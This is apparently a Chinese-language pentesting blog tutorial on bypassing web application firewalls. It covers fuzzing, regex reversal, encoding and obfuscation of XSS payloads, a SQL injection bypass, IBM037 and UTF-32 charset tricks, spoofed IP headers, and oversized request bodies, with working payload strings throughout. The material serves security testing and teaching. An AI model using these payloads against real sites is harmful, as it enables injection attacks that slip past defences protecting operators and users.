Bypass WAF
浅谈WAF
模糊测试
确定 WAF 解决方案阻止(和不阻止)的有效负载的一种常见方法是模糊测试。此方法涉及针对 WAF 测试一组有效负载(例如来自SecLists(https://github.com/danielmiessler/SecLists/tree/master/Fuzzing)、FuzzDB(https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)和Payloads All The Things 的payload(https://github.com/swisskyrepo/PayloadsAllTheThings)),并观察 WAF 的响应。
应该记录和分析来自不同有效载荷的所有响应,以确定 WAF 阻止了什么(以及没有阻止什么)。
但是,这种方法存在风险,即模糊测试的源 IP 地址可能会被 WAF 暂时或永久阻止。使用IP Rotate(https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874) Burp Suite 扩展、随机 User-Agent 字符串和动态请求延迟有助于避免此类阻止。
反转正则表达式
绕过 WAF 最有效的方法可能是逆转用于检测常见攻击的正则表达式(或正则表达式)和规则。
有些 WAF 依赖于将攻击负载与其数据库中的签名进行匹配,因此可以研究它们的正则表达式/规则并识别可能绕过黑名单关键字的方法。但是,商业 WAF 通常是闭源的,因此它们所依赖的正则表达式/规则不易获得,我们无法对其进行审查。
另一种方法是通过观察被列入黑名单的关键字,逐步对 WAF 的正则表达式/规则进行指纹识别,然后尝试猜测正在使用的正则表达式并制作不使用列入黑名单的关键字的有效负载。此方法的一个示例如下所示:
正则表达式:
preg_match('/(and|or|union)/i', $id)
阻止的尝试:
union select username, password from users
绕过注入:
1 || (select username from users where id = 1) = 'admin'
更多技术可以在 0xInfection 提供的综合Awesome WAF资源中找到。
混淆和编码技术
各种混淆和编码技术也可用于绕过被列入黑名单的关键字。这些技术使用字符的替代表示来试图逃避 WAF 的检测。
下面提供了一些常见的混淆和编码技术,我们将在本博文的后面的案例研究中看到其中一些技术的使用。
案例切换:
- 标准:
<script>alert()</script>
- 混淆:
<ScRipT>alert()</sCRipT>
URL 编码:
- 标准:
<svG/x=">"/oNloaD=confirm()//
- 混淆:
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Unicode 规范化:
- 标准:
<marqueeonstart=prompt()>
- 混淆:
<marqueeonstart=\u0070r\u006f\u006dpt()>
- 注意:ES6 还支持使用花括号的新形式的 Unicode 转义,例如,
\u{3a}
换行符/回车符:
- 标准:
<iframesrc="javascript:confirm(0)">
- 混淆:
<iframesrc="j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">
HTML 表示:
- 标准:
"><img src=x onerror=confirm()>
- 混淆:
"><img src=x onerror=confirm()>
评论:
- 标准:
<script>alert()</script>
- 混淆:
<!--><script>alert/**/()/**/</script>
双重 URL 编码:
- 标准:
<script>alert()</script>
- 混淆:
%253Cscript%253Ealert%2528%2529%253C%252Fscript%253E
动态有效载荷生成:
- 标准:
<script>alert()</script>
- 混淆:
<script>eval('al'+'er'+'t()')</script>
替代字符集
替代字符集 (或字符集) 也可用于逃避 WAF 的检测。许多 Web 服务器支持不同的字符编码,并能正确解释替代编码的内容。
有可能使用 WAF 不支持但 Web 服务器可以正确解释的字符编码来混淆有效负载(可以使用Burp Suite 的Hackvertor扩展来执行此操作)(https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)
例如,IIS 6、7.5、8 和 10(ASPX v4.x)均支持 IBM037 和 IBM500 字符编码,如下例所示。请注意,使用这些字符编码时,不应编码等号 (=) 和与号 (&)。
原始请求:
POST /sample.aspx?id1=something HTTP/1.1HOST: victim.comContent-Type: application/x-www-form-urlencoded; charset=utf-8Content-Length: 41id2='union all select * from users—
IBM037 编码的请求:
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1HOST: victim.comContent-Type: application/x-www-form-urlencoded; charset=ibm037Content-Length: 115%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
Unicode 兼容性错误
Unicode 兼容性错误还可用于通过将字符集参数或 Accept-Charset
标头更改为更高的 Unicode 编码(例如,UTF-32)来逃避 WAF 的检测,然后浏览器使用较低的 Unicode 编码(例如,UTF-8)对其进行解码。
在下面显示的示例中,当浏览器使用 UTF-8 编码对 UTF-32 编码的 Payload 进行解码时,解码后的跨站点脚本 Payload <script>alert(1)<script>
将被触发:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1Host: site.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0Accept-Charset:utf-32; q=0.5Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
请求标头欺骗
请求头欺骗还可用于逃避检测,即欺骗 WAF 相信请求来自内部 IP 地址或允许名单上的 IP 地址或国家/地区。
攻击者可以将伪造的 HTTP 标头添加到代表内部 IP 地址(例如 127.0.0.1)的请求中。此技术还可用于重写请求 URL 或覆盖 HTTP 动词以绕过 WAF,例如通过将请求方法从 GET 更改为 POST。
可以欺骗以下请求标头以逃避某些 WAF:
CF-Connecting-IP: 127.0.0.1CF-IPCountry: GBClient-IP: 127.0.0.1CloudFront-Viewer-Country: GBCluster-Client-IP: 127.0.0.1Fastly-Client-IP: 127.0.0.1Forwarded-For: 127.0.0.1Forwarded: for=127.0.0.1True-Client-IP: 127.0.0.1X-Client-IP: 127.0.0.1X-Cluster-Client-IP: 127.0.0.1X-Custom-IP-Authorization: 127.0.0.1X-Forward-For: 127.0.0.1X-Forwarded-For: 127.0.0.1X-Forwarded-Host: 127.0.0.1X-Forwarded-Port: 80X-Forwarded-Proto: httpX-Forwarded-Server: 127.0.0.1X-Forwarded: 127.0.0.1X-GeoIP-CC: GBX-Host: 127.0.0.1X-HTTP-Method-Override: POSTX-Method-Override: POSTX-Original-Url: /adminX-Originating-IP: 127.0.0.1X-Override-Url: /adminX-ProxyUser-IP: 127.0.0.1X-Real-IP: 127.0.0.1X-Remote-Addr: 127.0.0.1X-Remote-IP: 127.0.0.1X-Rewrite-Url: /adminX-Scraped: 127.0.0.1X-WAP-Profile: 127.0.0.1/wap.xml
滥用 WAF 请求限制
有时 WAF 对其要检查的 HTTP 请求量有上限。通过发送正文大小超出此上限的 HTTP 请求,我们可以成功避开 WAF。
例如,如果 WAF 仅用于检查 POST 请求正文的前 8192 个字节,则攻击者可以构造一个正文大小超过 8192 字节大小限制的请求,其中有效负载出现在请求正文的第8192个字节之后。Burp Suite WAF Bypadd(https://portswigger.net/bappstore/14c6fc737ce4468b807b80023d9740a8)扩展可用于执行此操作,我们将在本篇博文后面的案例研究中看到此技术的使用。
查找 WAF 绕过(XSS)的方法
我们成功使用了以下一种技术来查找跨站点脚本的 WAF 绕过方法,我们将在本博文的后面的案例研究中看到此技术的元素。
- 使用 Burp Suite 的 Intruder 工具从PortSwigger XSS 备忘单(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)中探测 HTML 标签列表。
- 使用 Intruder 从 PortSwigger XSS 备忘单中探测每个有效 HTML 标签的 JavaScript 事件处理程序列表。
- 对每个有效负载递归应用不同的混淆和编码技术,并观察来自 WAF 的 HTTP 响应。